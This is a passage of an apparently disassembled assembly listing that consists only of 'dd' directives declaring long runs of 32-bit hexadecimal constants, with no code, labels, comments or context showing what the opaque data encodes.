		dd 0B8E40546h, 84E9FDC4h, 1C0097B8h, 0C8F5BE33h, 17760383h
		dd 0E0D5822Ah, 29E0C390h, 0CC8F1D00h, 3A0B4AB8h, 0F8FA2551h
		dd 6BF99471h, 0EA020E18h, 0CD29DA11h, 0EC0450F3h, 75E11454h
		dd 5E888A3h, 3EE9018Ch,	4F88ECB7h, 0B29ACC54h, 95E86FF0h
		dd 0B842BA12h, 0EFB82CF9h, 112BF508h, 206627A8h, 66712099h
		dd 60045D18h, 4F6AE396h, 9704F8F2h, 904CCFDh, 931C6453h
		dd 0A1CD78C8h, 84156D16h, 27738201h, 0C12E6182h, 284DEF6Ch
		dd 8CF5BCFCh, 0FD09DB7Ch, 0DA233570h, 13F70AC0h, 48CB015h
		dd 0E6B54F7Ch, 39D1B0F4h, 61151D6Fh, 34C20E17h,	0A09F21A0h
		dd 6D0411DFh, 5B2D6227h, 190F4888h, 104FDD92h, 2228687Bh
		dd 0DC54BE4Eh, 3C441C48h, 253B41B3h, 236C2E70h,	4FBF006Ch
		dd 1523F635h, 0C81DF09Ch, 0C4D4C72Fh, 8DBE60FAh, 47F60931h
		dd 0D0543B32h, 606D620Bh, 34CD287Ch, 0F8B80273h, 1C6E5FD8h
		dd 31D7F600h, 432BDEB1h, 0A5E0E495h, 60F6C414h,	383DDDEh
		dd 6A27A68Bh, 0A812673Dh, 84B84357h, 15AD0921h,	806B9128h
		dd 0EBCED589h, 0F177041Fh, 814611FFh, 13F9D70h,	31A756F8h
		dd 85004851h, 7DDD876Bh, 22680339h, 7A3A3DCFh, 0DB60F0D8h
		dd 0FD0F5F00h, 68D1FFE1h, 0F9B70D13h, 2BA93D24h, 0C78BD89Bh
		dd 224A8841h, 309AF248h, 60085BAh, 0D9CB424Fh, 9C28F9D0h
		dd 2B638B8Ch, 0A80D244Ah, 3E8CF139h, 0F5ABC44h,	214A0101h
		dd 20526A36h, 0CC406CEDh, 5A624099h, 0C060ED97h, 0D197669Eh
		dd 581AB600h, 5EE5E1A3h, 0BF560F68h, 0F70BDBEBh, 660B04Dh
		dd 1CCE6419h, 4E97E344h, 0FB40A8F5h, 16D411A4h,	92ADD8C2h
		dd 0B01F5568h, 6E809411h, 0A75EFBF9h, 0F78DD1Ch, 91B01D67h
		dd 0D42882FAh, 485EC085h, 8E2B25A7h, 0CD178CDBh, 0ECC41612h
		dd 6E3FBCF1h, 97581758h, 10B5DC12h, 5FA98141h, 86E6Ah
		dd 97CA5FC9h, 0B6A30125h, 4C969D44h, 0CD10AB21h, 6B71E0B4h
		dd 0DA5BD710h, 4A03AC96h, 8AC251D3h, 1DC8D19Dh,	0CC9F4A9Ch
		dd 67361C08h, 0D0814820h, 5474B8AAh, 5D01DC00h,	3E9C44A9h
		dd 5A7B1759h, 0EE84DCA8h, 40022CB6h, 2AA3E73h, 786D10AFh
		dd 59423EE0h, 3D2D2796h, 0DA5354C8h, 98B7934Eh,	396ABCA0h
		dd 0A6D2CF1Eh, 0FE78097Eh, 0C468C548h, 92F36095h, 7B9F09CBh
		dd 1854573Dh, 0BCF95392h, 3AB64916h, 6A2350h, 0BE5EEDD7h
		dd 3909BF38h, 7619257Ch, 2BD50254h, 0ACA29282h,	9117F7B5h
		dd 0B7AC8069h, 61597A27h, 0C988B844h, 48C42E13h, 0D46EBFh
		dd 0DA95CBE3h, 334A29A6h, 505855F1h, 8A6253E0h,	6B37B0C9h
		dd 5D85E87Ch, 8CCA0013h, 0CC49083Ah, 0C2386836h, 0C9AA85B5h
		dd 428098F9h, 4CDD0h, 7C0C0383h, 0CA53D8E1h, 0CB78D4Fh
		dd 0A69AD712h, 6243E008h, 0D0E8016Bh, 0FDFFCB25h, 886D35h
		dd 0B30B1ADAh, 2789871Fh, 4C22BF9h, 46760C7Ch, 66C500F5h
		dd 5B3DA559h, 0C86E610Ah, 105FC7C0h, 17A1926h, 0BDF98791h
		dd 0E0C9D6B1h, 3430E1E4h, 0EAC2C441h, 0B64500FDh, 383A16F6h
		dd 1A008467h, 22636198h, 48FD4983h, 19005121h, 82BFF080h
		dd 65185196h, 0E08667Ah, 3F20C022h, 47CF078h, 3C0A3Ch
		dd 0CAB521F9h, 0B922A3h, 781998B1h, 826EC644h, 0E157F800h
		dd 37B35406h, 86610E97h, 88603A7h, 4E181028h, 4D49310Ah
		dd 7FBC00BEh, 261DCDB6h, 8CCA5AEh, 0FA722149h, 0B5843CBCh
		dd 5EF2AF80h, 936B2536h, 50162000h, 87FF21B0h, 7F5430ECh
		dd 311D652Eh, 406CB430h, 0B7C12Dh, 5A9FD3BDh, 0CA3BE788h
		dd 86888369h, 26933A1h,	0EC6B58AEh, 908CA77Ah, 54A44F20h
		dd 80BCBF04h, 4662D5B6h, 0BCB77320h, 38E72C59h,	847830F8h
		dd 6201C2BFh, 0F6582804h, 0C4414956h, 4361215Ah, 6332DECh
		dd 1573F9CBh, 8100B164h, 0EA87E553h, 3331464Dh,	7A083DE2h
		dd 4BA32100h, 0E88F7EE5h, 0E1F73E26h, 0CDF8E980h, 1EB866BEh
		dd 682DCF30h, 53DDBF86h, 42E2BC08h, 7E47D030h, 38E68Ch
		dd 27ACFF6Ch, 0EB88CD60h
		dd 0B89210Ch, 4A313Bh, 48BB7FF6h, 7709579Ch, 7ECA6C07h
		dd 8FC360B3h, 8B400933h, 148EB22Dh, 86413898h, 0AB532400h
		dd 0A2FD8579h, 3D08CC71h, 7E006221h, 0FE409C24h, 3E4A35Ah
		dd 0ADED0413h, 38D1AEAh, 2AE04AA0h, 22E13018h, 3CAE7E39h
		dd 3C14DA4Eh, 7D24E867h, 0F07AC078h, 664682B9h,	39001222h
		dd 4BACF072h, 0C08448Eh, 9EE2AD0Dh, 0B6EA331Eh,	0D060A731h
		dd 708334F1h, 0FAE6B330h, 71E86040h, 0E551048Ch, 623DEA85h
		dd 49A12076h, 711F78E5h, 6852D784h, 0FEB81801h,	0C0064C66h
		dd 7F0F8246h, 8E48BEF0h, 3E4015C4h, 3B19F077h, 6FB24D00h
		dd 0E870B701h, 90B05408h, 35EB0021h, 0E2803831h, 2E6822DCh
		dd 0B111D018h, 52248580h, 458C71ABh, 247DC835h,	80F1677h
		dd 94B67E70h, 1B82324h,	0AB59248Ch, 883618A9h, 24758468h
		dd 57AE6702h, 0C0EF0C79h, 1A03C3Fh, 0EAA5476Ch,	2030F849h
		dd 0A63508D8h, 6C1FC957h, 0BCB90163h, 18A5B67Ah, 0B16D8844h
		dd 9530BC01h, 0B0313459h, 4A2D198Eh, 0C004A0B5h, 845F15A7h
		dd 218C4F9Ch, 0DC296F0Ch, 5D7AE500h, 1AED30BDh,	689A00E7h
		dd 310D4E73h, 0EA8867BBh, 81B3A2AEh, 99168014h,	0B63E19BCh
		dd 0E82A3A20h, 0F9496CB2h, 18038E20h, 72582002h, 448906C3h
		dd 9810424h, 40211860h,	0DBC350h, 0A8461B3Eh, 0B50BF78Bh
		dd 7206453Ah, 6D9D8D0Ch, 0E06A0C2Ah, 2EE85452h,	23C3725Ah
		dd 1D115489h, 0C3524203h, 0A7A0DCEBh, 6D005BE4h, 89A1BB25h
		dd 0C10355B5h, 0FF238156h, 0C19FCBFEh, 851661BDh, 0DB8C6618h
		dd 14233A2Eh, 9E9A83Dh,	55759600h, 0CF825986h, 7B5FEE4h
		dd 0F67D7CB9h, 124660AEh, 8B7CE731h, 0A0F79D6Fh, 840F04C3h
		dd 147C337h, 1E865185h,	0ED95FF0Ch, 2C81A718h, 18122DFh
		dd 5C0F2AD0h, 9474D850h, 8940D706h, 205C2404h, 0E9302E81h
		dd 46C5550Dh, 956B0022h, 9DFD344h, 4D06A9BAh, 4B4E9AFh
		dd 8B0F1824h, 11E8311Ch, 6B1E0BC0h, 7703D81h, 0EB4EC1D2h
		dd 4C2311A7h, 0D9F5F4C2h, 0D5EE98C0h, 0E0B05EF9h, 0D951831h
		dd 70E68208h, 0E971E40Ch, 3CFF5107h, 83801E42h,	0B60FA3DBh
		dd 9D3389D8h, 96BA337Dh, 57C8812Bh, 0C3725F18h,	117C8923h
		dd 57470215h, 0A1D143C3h, 8B351C95h, 0A0870FE4h, 308D892Ah
		dd 0C16A12CDh, 0FBA704E8h, 6601C44h, 0CC263914h, 0D4001422h
		dd 7DBD333Bh, 605AC328h, 310012E9h, 0F42299CFh,	3FFF3692h
		dd 0EE893FA6h, 40014696h, 44AD506Ah, 9D5142BDh,	61001069h
		dd 0A5E2F766h, 6016C452h, 5C69D38h, 2BF8B70Fh, 23A83AD8h
		dd 54B10616h, 0A1209665h, 50930032h, 0BACE8B60h, 0EA5881EFh
		dd 0A0937B2Eh, 0A18B5F78h, 5C891185h, 5B0A9D29h, 85B5847Eh
		dd 5108C833h, 0C359398Ch, 384C8913h, 51014136h,	269395C3h
		dd 0A420EA05h, 263250DDh, 5B398C53h, 5C8911C3h,	438A1988h
		dd 0A800A753h, 687135EDh, 3AC91E8h, 0D2619536h,	0D1A3CCD0h
		dd 60440400h, 0D681F27Dh, 1C7509F6h, 0A8185E32h, 0CC00D29Dh
		dd 0E70619ADh, 690B21h,	0E2DA4C7Bh, 0BF5237EDh,	9B3CAC08h
		dd 55B0B205h, 0E4C35D30h, 226C4689h, 5545001Ah,	0DE17EDC3h
		dd 0DD243F79h, 0EF04896Ch, 0C9826F95h, 17CA42FCh, 801B112Ch
		dd 0E2EEF49Eh, 9920039h, 0F613C97h, 2489183h, 0C35688DBh
		dd 8991C35Eh, 83032374h, 8CC35646h, 6DDA081h, 0FD030405h
		dd 1149120Fh, 0B1410260h, 0FAB80028h, 0D01DEDDh, 0BF0F5661h
		dd 1D375EF2h, 0AEAC1F4Dh, 94FD7000h, 0DCC686F8h, 0E806183Fh
		dd 6055250Ch, 8A9BA41Fh, 213382BDh, 4040411Fh, 0EFC9BDA0h
		dd 3C389AA4h, 0A699951Dh, 4BF6832h, 95A650F7h, 23C53AE8h
		dd 41C60217h, 0E642E929h, 311DF340h, 284B5881h,	0F4C01A88h
		dd 1BB2858h, 235467DAh,	0B00295B5h, 880F6252h, 0EA0153A7h
		dd 43301DE2h, 753903DFh, 114EE8Eh, 0E481A6DAh, 1021BDh
		dd 0B1B9F861h, 0D1F2290Dh, 7C61815h, 79BF663Fh,	0FA8B4025h
		dd 5AA5C183h, 78601AE4h, 6B022DA8h, 0FEFAFEEh, 33208A80h
		dd 0D93BF307h, 0A91A86B2h, 11261D8Dh, 8EBA8018h, 2E295E25h
		dd 133F5F57h, 4B6FD9h, 983655A5h, 5DF68165h, 0C92225C1h
		dd 0B08E837h, 24BE0DD1h, 26C2FDC8h, 10AE29F2h, 335F2E17h
		dd 467426CAh, 266A001Dh, 0AA93998Eh, 0EC5C5E92h, 422507Dh
		dd 0BE6629C0h, 0B82B220Bh, 19DE019Ah, 3D6791AFh, 0ACA7A034h
		dd 0E92F6C63h, 180B010Eh, 8815BE0Ch, 0BD5A2095h, 0D964D701h
		dd 56E9C4F2h, 11C49FC2h, 0D1CB8215h, 76D5C4E8h,	2E58B509h
		dd 2282CA00h, 0E2A04CFh, 0DEB924E7h, 2444248Ah,	0A04667E5h
		dd 0D50C45A0h, 9E881800h, 22C15E4Dh, 0B6FA058Ch, 80615AA6h
		dd 2051B570h, 63C0B283h, 0D7D8D312h, 0E985C7E0h, 991CC013h
		dd 0FC3BB877h, 0BD8126C5h, 92D07F88h, 700F7992h, 0F1CA9182h
		dd 689D1815h, 0CFCB46C7h, 0ADFF2227h, 0C0015E6Eh, 294F1B4Dh
		dd 0D8D003Fh, 89821A32h, 2A9A11B5h, 31C0E873h, 0C858949Dh
		dd 762275F9h, 3CD52C77h, 364960AAh, 0CAF8B624h,	7EF89C01h
		dd 0E38BB472h, 29ED5088h, 0B05E5F0Bh, 0B3F88B11h, 24DA30F3h
		dd 0BF98907Dh, 0CEDC612h, 1B23133Ah, 0CA5D7C00h, 305720EFh
		dd 0CF5032A3h, 8B2EB3DDh, 490D5FFBh, 0EEF4750Eh, 45D7427h
		dd 0A9176E6h, 0C0F7DB24h, 4051C91Ah, 0ED852C29h, 0FE98C7Ch
		dd 0F601DE25h, 38F3F449h, 62DC59D2h, 9B6F0B22h,	97B71D97h
		dd 0D80FEC87h, 0B503A730h, 2016419Dh, 0BC19F72Ch, 50586359h
		dd 0E2F92819h, 516B3016h, 8D01F205h, 9420212Dh,	0C20CB9F6h
		dd 44E1DE0Ah, 0C57EAA80h, 0FD94367Ch, 0FF4902DCh, 2EBD9D31h
		dd 6BC73380h, 433FE92Fh, 0DB9F1F7h, 4B1815D1h, 70065E58h
		dd 49953188h, 8B006C75h, 0E9CE81C1h, 7814139Ch,	41404EBh
		dd 333D8D89h, 1602BF0Eh, 0E7535744h, 6E44370h, 0A9858DF7h
		dd 0B5267B28h, 50871EBDh, 5F60F53h, 0F8BF0235h,	5F45E544h
		dd 1EC80C70h, 951AC06h,	87483185h, 73E95E56h, 3017B29Ch
		dd 45E42E1Eh, 0FE0DDFFEh, 0A8504B4Ch, 510FF230h, 21CAFD06h
		dd 2305C083h, 3017A224h, 0DF0175C0h, 5260907Bh,	0F4009E9h
		dd 351E5Eh, 385BF1E4h, 0B95259EAh, 569F9A0Eh, 5061E76Bh
		dd 8B60431Fh, 248F9FF3h, 0A88C310Fh, 3F6800DBh,	524A6432h
		dd 0FC003D55h, 3B5ADF0h, 56585A8Eh, 41F0DC90h, 3CC66B2Fh
		dd 9008F78Bh, 17F52063h, 0D2EF1F90h, 2130F672h,	8DF2192Fh
		dd 0A7B01F9Dh, 690F9E0Eh, 6C28EEh, 0FFCEF1D7h, 0DD9D89D3h
		dd 85431463h, 8B4F5C6Dh, 71FE908h, 843FE81Bh, 1AED4FC1h
		dd 0BB9BCF55h, 0BC0BDBDDh, 9E090FBAh, 0FA863457h, 0C3499B37h
		dd 9FB04006h, 5DB52BB0h, 9D8B800Bh, 4C1468E3h, 8C16E883h
		dd 43ECF41Fh, 0E42EE39Ch, 0F18B6681h, 8F60DB0Bh, 81008458h
		dd 8335B7D6h, 0A309CBBDh, 84DA1199h, 0E9F90C07h, 0B0F50D4Fh
		dd 11481E8h, 18F2D563h,	5D3D730h, 60DFAE80h, 8EC0889h
		dd 8EBF6601h, 1C7161E6h, 5714E333h, 2A9C3F82h, 0F5EE0A62h
		dd 699C8D49h, 126708h, 9241E781h, 91B46616h, 78D65C68h
		dd 13A416B1h, 0B6AB84F1h, 9A8E008h, 13CD2DB5h, 23409231h
		dd 301AF228h, 6104D8CAh, 9E772A7Fh, 0A6487BA3h,	11A8510h
		dd 0A55FEABEh, 0C25506Ah, 0EA30A125h, 288024Eh,	362E92Eh
		dd 1B11459Dh, 0DD507A80h, 3F14A587h, 4BD8F29h, 0B05577E6h
		dd 0C9FFDFC0h, 980862E8h
		dd 0A6D230E5h, 0F6B70F05h, 758371E4h, 92E2847Dh, 0FB87527Eh
		dd 686254Bh, 0E70CDDD3h, 4920C34Eh, 877820F6h, 4E6116E4h
		dd 5A3430AAh, 19270E04h, 2BF2D82Bh, 383015F2h, 24DF9622h
		dd 84BE9CD5h, 0C402312Fh, 0DFDC82D4h, 89C60129h, 61CE241Ch
		dd 16691140h, 8D8C0FC5h, 8BC3EE75h, 0C10F245Ch,	1EB9B529h
		dd 0CEB00C92h, 0C0178820h, 266B259Dh, 0F08BCDA0h, 837BCCA2h
		dd 0A43DAB71h, 532A3622h, 0D688EC5Fh, 0EBA648F8h, 39F714C2h
		dd 5FEA88D2h, 916465Ch,	7B1E03Fh, 20089910h, 32292DA9h
		dd 2D158FB2h, 0E2891411h, 0F0F92B24h, 0FE29B725h, 1C712658h
		dd 72002018h, 5D75AEB6h, 0C254F2C9h, 1A18855h, 40D139D3h
		dd 88052830h, 2A1333BEh, 48C83AE5h, 4DBD2629h, 2A08A70Ah
		dd 8AE27D0h, 4BC78ACAh,	23417102h, 5211C909h, 5BEFB114h
		dd 30AEC08Bh, 0D2A1BD09h, 0F4F1C887h, 44A5C78Ah, 317C6019h
		dd 78B91329h, 0BFE9D03h, 0C01A88D1h, 0FF1CE034h, 0B1F70C14h
		dd 34F131F7h, 0BD24B9BDh, 0FAC35D2Bh, 453B77BCh, 20205F09h
		dd 760199Fh, 621142F8h,	5D8DF357h, 0FC5FC113h, 0A76028D8h
		dd 611DE494h, 0E4F0C8DDh, 0C26D04E6h, 0A2B09C02h, 6407003Ch
		dd 8B3E4BC9h, 0E516261Dh, 132508D7h, 1251E90Eh,	1104507Bh
		dd 0C8719531h, 2D99C0DDh, 631819D1h, 7973504h, 0F681FF91h
		dd 0C104244Dh, 0A72AADB0h, 20490C5Fh, 610E4159h, 0C77D26h
		dd 5FCEABDFh, 34C0B2BFh, 9B901D3Bh, 86F0C19Ah, 0E121398Eh
		dd 0FD821D04h, 0E57979F2h, 27A47E44h, 0B56EBA0Bh, 187E8171h
		dd 0C56939EBh, 0D24C7DB9h, 7E8789DAh, 2789C934h, 1491D3B1h
		dd 0A74054D9h, 0BC8160F3h, 627104BDh, 0A65BC8E9h, 0C517AA00h
		dd 6690615Bh, 690602BEh, 1315B589h, 6FD09CFBh, 0EBE41637h
		dd 80FDDB15h, 455A966Ah, 55DD053Eh, 0A69FAFDEh,	0CF7DE158h
		dd 4431AB20h, 1B881411h, 17820051h, 0A305696Dh,	4F000898h
		dd 196F503Ch, 50B355D0h, 4488B352h, 0B4A0510Eh,	438220F1h
		dd 5F4984E1h, 244D422Bh, 479660C2h, 60154405h, 68E84C75h
		dd 0C4150Ah, 8F57AC81h,	6A2639CAh, 0D50D7058h, 0A530B317h
		dd 44EBA75Fh, 0C548601Dh, 0FE33F416h, 5BFD17E1h, 0F8DF0364h
		dd 0FF9AEDE9h, 19351168h, 208D8980h, 604C2DFDh,	8C1BE83Fh
		dd 59551600h, 3A629E37h, 1CB94BE6h, 8B37AD2Eh, 31C5B500h
		dd 0E48D21B0h, 0B29DD224h, 0C3705F74h, 74722AE0h, 0E9800C48h
		dd 9D3A61D7h, 1F3B1A4Eh, 12021723h, 0D0E97F36h,	6077155Eh
		dd 0C94D478Bh, 0E00ECBCh, 3BB11F51h, 9801E183h,	5822437Dh
		dd 8C14B81Fh, 9D892E04h, 0F2D61B3Dh, 0D85B93F9h, 3E24C072h
		dd 7900C60h, 95957876h,	0E2617E07h, 6A648E0Fh, 0BDC8FECh
		dd 126B543Fh, 3666088h,	32457B9h, 9D31B1B5h, 2235B661h
		dd 0C1BF2A51h, 8481D23h, 481A934h, 122985E7h, 0B10EA808h
		dd 18A1A7h, 12C3DB81h, 5F299DDFh, 0C94A7801h, 9127A035h
		dd 2C9E4CD3h, 0FE796F82h, 0F005266h, 8B2BDFE5h,	44DEE8h
		dd 0BA7F7122h, 88535E4Fh, 0D58CF30Ah, 6648E98h,	0B9CB8B4Eh
		dd 5820316Ah, 9760A9BEh, 2B1A3954h, 70DCDB8Ah, 0A7F26213h
		dd 7E1EB903h, 144A0258h, 0C118897Eh, 1AE81894h,	24EEE8Ch
		dd 224AD4EEh, 0E19AF807h, 2439F102h, 3C69E191h,	0BCA2496Eh
		dd 46896201h, 0C14F13E9h, 0BFB08F60h, 0B3C15D8h, 0F8294A8Bh
		dd 3F2592B5h, 1D23C8h, 6FD55D29h, 61712294h, 8B40E614h
		dd 8C1CFC5Ch, 1B090E00h, 3395788Bh, 88684A5Ch, 110030FBh
		dd 0CE46D920h, 118B5F51h, 4B07899Dh, 0FC1B52C8h, 0B579F3h
		dd 1959FF0Fh, 67785D0Ah, 0D7764204h, 77C092F7h,	0A6B1E8F0h
		dd 3D2A4888h, 28C18FCh,	0E3EA4DD2h, 6DC0512Ch, 66C25AD3h
		dd 40A4F2C6h, 49958B3Ch, 1D4D44B1h, 618C14ACh, 0F6DA5CD6h
		dd 2A026492h, 99D81793h, 8C7C09B2h, 5086F20Ch, 6D4354DAh
		dd 19A25142h, 0BE3DB30h, 70A39D2Fh, 0A179C404h,	57A8DAC5h
		dd 431911E1h, 492434C4h, 55C168DBh, 28CBD4h, 820D85E0h
		dd 94096607h, 0CF45D4ADh, 0A8A85D4Dh, 268C0E4Eh, 1DCACC88h
		dd 3D372FF5h, 3476E100h, 9685C7DCh, 9AB7E91Dh, 34B6218Eh
		dd 40153FBFh, 0DCE99E61h, 0EBFCA101h, 0E99D6107h, 0D491BB8h
		dd 0C904A1BCh, 0B302634Eh, 0C1DE3782h, 0BE787582h, 416E5Ah
		dd 93D529E5h, 0E95EC66h, 459D095Fh, 0E96AA472h,	0C2D47558h
		dd 78A8D88Ch, 0E35423Eh, 77B5FF01h, 9FC0CC84h, 0ED0E7D18h
		dd 0F089D0F0h, 8BA5C055h, 0CEFC1FEh, 6E046840h,	247B820h
		dd 0E00DA557h, 9550FFC5h, 3261E91Ah, 4585C66Bh,	567B002Ah
		dd 0C530DF68h, 557EA962h, 0A1283413h, 61630E33h, 1A6A50A7h
		dd 6E56057Ch, 0C3611200h, 0EBEAE0C1h, 9104B00h,	0C53C2F0Eh
		dd 3DAF01Ah, 0D41CA4ACh, 0E48B5CD2h, 3134CE80h,	871BF53Ah
		dd 0D129B327h, 0C7DD5B90h, 17E63E2Ah, 1CDF7A7Eh, 29A6DB67h
		dd 4128F001h, 0D427E600h, 0E9C3727Dh, 2575940Eh, 30C1644Dh
		dd 0D6F86007h, 0C04309E9h, 0FB0E5129h, 590C4BBFh, 7985BE81h
		dd 0BD830006h, 589BAA19h, 3E5C5EC5h, 1C23BFh, 0A29D7C59h
		dd 0BD12305Fh, 21A0D9BBh, 28568112h, 7FC134A4h,	29FD7581h
		dd 0B8596100h, 0DBBE8BA4h, 4DCE541h, 17F3FCh, 4A8DAA94h
		dd 3F67CBE1h, 68C2FB3Fh, 8B0F1DB9h, 28205C0h, 0E6F9080Dh
		dd 751105C5h, 0D1128809h, 13748329h, 3C085350h,	2404D0B8h
		dd 0B0EE04C9h, 0D337800Dh, 1CAC585Bh, 1A0C1141h, 573D8E3Bh
		dd 0C16DA52Bh, 0EF205959h, 0DB6CD2F9h, 42C08E98h, 87CE8B66h
		dd 10F999A0h, 7617EF80h, 1DBBFE0Fh, 0D350F3B1h,	1E04A287h
		dd 8B2F7EB9h, 0F0FEC75h, 776842EBh, 9AC48B9h, 0E56F1F4h
		dd 0BA605032h, 1BDCB422h, 0B7006771h, 0F648086Bh, 0AE360383h
		dd 615F2EF5h, 10E86519h, 83C44229h, 0DFAD0062h,	93FE1D63h
		dd 30013DC1h, 8A24574Bh, 0E8285FF5h, 91A20227h,	8525052Dh
		dd 8195391Dh, 0F5BF0569h, 94538BA3h, 1923083Ah,	0B7C4C700h
		dd 52971EF0h, 0EA0E8AE9h, 0FB24901Fh, 0D799824Bh, 0DE8C8AAAh
		dd 8FAD5200h, 0B2FCB720h, 0C6BA4CA1h, 0C649C358h, 81083464h
		dd 631C98Eh, 5BEB4374h,	0F800AB6Ah, 4D394770h, 6016413Fh
		dd 6020E890h, 7F569FDh,	11D44B0Fh, 0B056709Ch, 5B0061DCh
		dd 0A58FD808h, 3D801A37h, 7C48A4E7h, 3231C513h,	0F924B714h
		dd 2847DDD8h, 4490DB80h, 0A700D204h, 0D68BD49Ah, 0A48AB250h
		dd 0F7A8ECD7h, 0E484D2C3h, 6E584AC5h, 0FF3500BCh, 0D6EA9E6Fh
		dd 189D16C2h, 0B1D65C0h, 2030C9BAh, 9149BD89h, 4C264CE5h
		dd 8C1CE8DBh, 0BA2B9000h, 29954E63h, 0BE4948E5h, 0E0098D14h
		dd 0F4569942h, 8973EFF0h, 504A955Fh, 0D188C451h, 35E56613h
		dd 39DC2D94h, 258354A7h, 0EB129031h, 280EBF88h,	0EC57DE2Bh
		dd 0FC68F880h, 907FCA94h, 0E62404C1h, 0E60A4520h, 19DAE04Ah
		dd 0C2890F15h, 142C886h, 0BDF9E9B7h, 0FC382D01h, 0EDF45D3Dh
		dd 0D7281494h, 0D02BE429h, 44D2DEDh, 77007BC7h,	1D6E91F4h
		dd 0D4A285C7h, 3558A731h, 2DB381B4h, 1516051Bh,	50393DE0h
		dd 0B6D1F233h, 17467CC3h, 54CDD50Eh, 5876F4B4h,	7584CA29h
		dd 2CAE3219h, 1A415526h, 105D9867h, 0C09E3CB9h,	0CA8BDE20h
		dd 31C10168h, 5260CBFBh, 3370EB0Fh, 4EB9582Eh, 61451A00h
		dd 5C243481h, 1F1494F8h, 0C9109F60h, 0BE937F06h, 0C4D8B788h
		dd 1B0FDE9h, 16A4ED51h
		dd 0DED4B39Eh, 958D0E37h, 0AA224076h, 0B781C2A1h, 747F93D2h
		dd 0A0E59DF9h, 9482BF59h, 63D2F153h, 32BB8083h,	0A8AC28h
		dd 689DB36Ch, 0E81AE303h, 10BB6000h, 0BE2869E2h, 0EDDC14C5h
		dd 80818271h, 88331F93h, 2E17FD9Ch, 0FCFC669Ah,	0C8390D27h
		dd 5AA4C359h, 0ED808897h, 0FC644C00h, 8349EFA9h, 0C4520633h
		dd 0F64096D0h, 0D4008CA6h, 8A8CD25Dh, 0A4E1C01h, 0FF59CD98h
		dd 4ADB1686h, 92CE817h,	17026DDh, 1D5C3609h, 19B681F1h
		dd 0C7D4DC8Fh, 46A095Fh, 0BD528D0Fh, 2A9D89ECh,	0C002F96Ah
		dd 20D17D90h, 2E827F40h, 0E860530Ah, 66004A0Fh,	237BC62Fh
		dd 0D1B902C0h, 0E1E63042h, 3A5B3FE1h, 23946220h, 611A00EBh
		dd 0EFF54929h, 5F1DFFE5h, 1583A5B7h, 0FA54988Fh, 0D920C659h
		dd 63509202h, 80663B5Fh, 70C19CE9h, 0CC3576h, 8B10699Eh
		dd 0FAFBB1DFh, 9FE42B13h, 0EE8BC61Fh, 0BA3A1059h, 0B27B1EFFh
		dd 97F787Ah, 34F1F793h,	8EB91410h, 763EA301h, 81952B58h
		dd 8A09D27Ch, 72DB6AF4h, 0DA49E07Bh, 6B2D5CBDh,	140B7110h
		dd 22DCF1B3h, 0D17D99E7h, 1C1818h, 0F899255Bh, 21419531h
		dd 5F7B1C8h, 0B05DBD8Bh, 5638682Ch, 50CA0786h, 0DEE06652h
		dd 2BF310Fh, 146E2D33h,	0F5A3585Ah, 368079AAh, 5036FEB5h
		dd 0B718E253h, 650028B7h, 28A058FCh, 716328D3h,	1612F2CCh
		dd 80600B6Ah, 0BE5C233Bh, 0A59E4304h, 9A82613Ch, 538DA9B4h
		dd 0A34870EDh, 77B6AD07h, 0F4909BDAh, 880FE9C8h, 63009771h
		dd 980E95D5h, 0B1408Dh,	81A2B796h, 50CE8B16h, 0F9CB8A34h
		dd 2EB8CCA9h, 0A7A07D04h, 0F78C4F02h, 0A793Ch, 0E67AC514h
		dd 0C95256ABh, 0CD549912h, 1B201016h, 72CB0BFh,	0CA8145EFh
		dd 57A8902Eh, 0BE54B58Dh, 0F5EE8B8Ch, 0E880819Ah, 0EEA096D1h
		dd 5914BDBAh, 7DF047C9h, 3846BF14h, 8B1E7FEFh, 0B98F96FAh
		dd 4FBA8084h, 0FA23E765h, 0C6B80C60h, 0FA5A1D11h, 27BFE394h
		dd 0EC3FE495h, 301341D1h, 0F7118Ch, 9A25DD80h, 6E084456h
		dd 135613Eh, 422E3A5Ah,	7622B58Bh, 0FA2CE44Ch, 67DF1EBDh
		dd 0D4C466C6h, 600B2DE5h, 15E97902h, 0D7F6B800h, 610A04D8h
		dd 0F8207E80h, 0CB942AD3h, 8DB58916h, 0CD606982h, 710AE089h
		dd 477888D7h, 8B9ED801h, 20468DFEh, 6FC0285Ah, 4ADB3C08h
		dd 0F74F73EAh, 61124FBCh, 0E3FD0945h, 9700703Fh, 0C8CA3C89h
		dd 179D097Bh, 0A601788Eh, 8083EAE7h, 0AEB5E20Ah, 0C226E9F8h
		dd 41BD093Bh, 405AE6F8h, 7001C96Eh, 802DF2F8h, 0D7507438h
		dd 193BDBB6h, 0E82D1F86h, 0F100FB32h, 0BE0997Dh, 0F5009ABEh
		dd 21023972h, 1720FED8h, 0B06B708Ch, 18414DA9h,	8A241A30h
		dd 485A8678h, 0CF85629Bh, 0DE40C3CBh, 185CAE24h, 3EA97712h
		dd 0E9E01CECh, 0F980479Ch, 84DC6535h, 14D10013h, 4BA8862h
		dd 4664FF0Eh, 3D0D2F74h, 0BF6F6A2Eh, 49D03D05h,	0C4F0AD5Eh
		dd 3B090BDDh, 8391261Bh, 0A3442A65h, 18A0599Dh,	0DCAABC40h
		dd 0BD839C13h, 0B95E4595h, 0C0E92035h, 49077FBCh, 5B5DFFF3h
		dd 244ECE9h, 5CF0DAD2h,	17F4503Ch, 0AA450E40h, 0E6D00034h
		dd 0DA292001h, 7D07EF1Dh, 5B25BA66h, 0B76BE819h, 0D0B504FBh
		dd 0E3EB8503h, 3114E2DAh, 9A0417Ch, 0A8AC0502h,	0C65A1F20h
		dd 0EB8078DEh, 0B48B8753h, 0FC9EA1B9h, 2FEAA40h, 0E8F7C780h
		dd 33C5017Fh, 0B660CB0Ch, 1DE30B8h, 504291BFh, 7142F1A1h
		dd 0FED81819h, 0D0EB1361h, 7879C857h, 0F786DB04h, 0BB85F0FBh
		dd 0E2B5EB09h, 0D162597Ch, 2F301919h, 1853126Eh, 9E0488A6h
		dd 709ACB00h, 0E70C8FC9h, 952E1ED7h, 5BCE4009h,	4E0E335Fh
		dd 6ABA36B0h, 24B65002h, 61C00B59h, 17634D39h, 2C211D10h
		dd 50096B61h, 0C17E81B3h, 3166F52Eh, 33080122h,	2D183D8Dh
		dd 80548192h, 0A04912DCh, 3B3F833h, 71BD0B20h, 468F500Eh
		dd 0C6811ACAh, 0BF417D1Ch, 7B0ECF2Dh, 33FFFC9Ah, 99E09BE6h
		dd 0D511A992h, 231D0DE8h, 859C8FFFh, 964DC680h,	337B7E1Bh
